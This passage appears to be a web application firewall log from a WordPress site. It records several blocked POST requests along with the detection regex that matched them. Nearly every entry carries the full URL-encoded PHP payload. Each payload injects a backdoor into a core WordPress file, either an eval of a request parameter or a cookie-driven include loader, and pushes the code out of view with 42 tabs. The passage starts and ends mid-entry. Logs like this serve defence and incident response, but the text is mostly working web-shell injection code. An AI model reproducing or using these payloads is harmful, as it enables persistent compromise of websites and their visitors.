3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:44:11","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ln:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status418.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B2%255D.%2524p%255B19%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3271\nsec-fetch-site:none\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoT4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nln=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status418.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B2%255D.%2524p%255B19%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:14","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Gb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/php72compat_const.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527dnAjMb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2058\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE2VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nGb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/php72compat_const.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527dnAjMb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:17","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ee:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/php72compat_const.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527dnAjMb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2058\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEJHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nEe=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/php72compat_const.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527dnAjMb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:19","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> MN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/php72compat_const.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527dnAjMb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2058\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGH4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nMN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/php72compat_const.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527dnAjMb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:21","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Bp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/php72compat_const.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527dnAjMb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2058\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDaNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nBp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/php72compat_const.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527dnAjMb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%